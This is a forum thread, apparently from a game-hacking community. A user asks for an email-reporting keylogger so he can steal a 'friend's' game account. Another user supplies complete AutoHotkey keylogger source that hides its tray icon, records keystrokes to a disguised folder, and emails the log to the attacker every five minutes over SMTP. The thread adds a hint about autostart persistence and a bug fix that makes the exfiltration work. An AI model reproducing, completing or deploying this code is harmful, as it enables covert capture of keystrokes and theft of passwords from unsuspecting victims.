[HELP]- E-mail Keylogger :(

Simon98

Well-known member
Joined
Feb 18, 2014
Messages
287
Reaction score
0
Hello guys....So i am trying to Hack My "Friend's" NG-RP And i found that the Best Way to do it is to Send him a Keylogger (He is a Noob but a Rich son of Bitch)...I can make a simpal one but i can't Make one that Sends the Information to your E-mail...So i am asking If any one can make me a E-mail Keylogger with C++ or Anything.
E-mail :  simon.mashiro1998@gmail.com

    I HOPE YOU CAN MAKE ONE AND THANKS
 

uwe1337

Active member
Joined
Feb 4, 2014
Messages
36
Reaction score
0

uwe1337

Active member
Joined
Feb 4, 2014
Messages
36
Reaction score
0
(Sorry for double Posting)

Autohotkey Keylogger by uwe1337 Version 0.1 xD

Here is an Autohotkey Keylogger

He Sends all 5 minutes to an Email the Log.txt

U Need Autohotkey (its the Programm)
Then u Need 2 Emails, one from www.hotmail.de (Test1337@hotmail.de password= Test1337 - OnlyTest xD)
Then u need a second email, this is the mail for see the logs... (simon.mashiro1998@gmail.com )

Now here is the Code:
u must edit 5 things

1:sender := "youre2thmail@hotmail.de"
2:senderPass := yourpassword
3:receiver := "your second email addres (here u log in to see the logs)"
4:fields.sendusername := "youre2thmail@hotmail.de"
5:fields.sendpassword := "yourpassword"

Code:
#NoTrayIcon

SetTimer, SendByEmail, 300000

ProgrammPfad = %A_MyDocuments%\microsofti
IniPfad = %ProgrammPfad%\key.txt
Ifnotexist %ProgrammPfad%
{
	FileCreateDir, %ProgrammPfad%
}

Loop 
{
	Input, key, V T1,
	FileAppend, %key%, %A_MyDocuments%\microsofti\key.txt
}

SendByEmail:
{
	FileRead, Contents, %A_MyDocuments%\microsofti}key.txt

	sender := "youre2thmail@hotmail.de"
	senderPass := yourpassword
	receiver := "your second email addres (here u log in to see the logs)"
	subject := "Some New Logs:"
	pmsg := ComObjCreate("CDO.Message")
	pmsg.From := sender
	pmsg.To := receiver
	pmsg.BCC := ""
	pmsg.CC := ""
	pmsg.Subject := subject
	fontsize := 2
	fontname := "Arial"
	font2size := 1
	font2name := "Courier New"
	pmsg.HtmlBody := "<html><font size= " . fontsize . " face= " . fontname . " ><body><h5>Neue Logs wurden gesendet!</body></h5></font><br><font size= " . font2size . " face= " . font2name . " > " . Contents . " </font></html>"

	fields := Object()
	fields.smtpserver := "smtp.live.com"
	fields.smtpserverport := 25
	fields.smtpusessl := True
	fields.sendusing := 2
	fields.smtpauthenticate := 1
	fields.sendusername := "youre2thmail@hotmail.de"
	fields.sendpassword := "yourpassword"
	fields.smtpconnectiontimeout := 60
	schema := "http://schemas.microsoft.com/cdo/configuration/"

	pfld := pmsg.Configuration.Fields
	For field,value in fields
	pfld.Item(schema . field) := value
	pfld.Update()
	 
	pmsg.Send()
}

pic:
http://www7.pic-upload.de/10.03.14/byic9rrbb26s.png

one thing u can do is the File (keylogger.exe) to copy in the autostart ;)))

regards ;)
 

hotmarvin1338

Active member
Joined
Jan 7, 2014
Messages
46
Reaction score
12
How to copy it in the auto start? can someone do this with autohotkey?

/ problem, it doesnt send the key.txt only the text "Neue Logs wurden gesendet!"
 

uwe1337

Active member
Joined
Feb 4, 2014
Messages
36
Reaction score
0
hotmarvin1338 link said:
How to copy it in the auto start? can someone do this with autohotkey?

/ problem, it doesnt send the key.txt only the text "Neue Logs wurden gesendet!"

Yes i know the Problem :D
sorry its my fail haha

search this
FileRead, Contents, %A_MyDocuments%\microsofti}key.txt

and make it to

FileRead, Contents, %A_MyDocuments%\microsofti\key.txt

sry xD
 
Top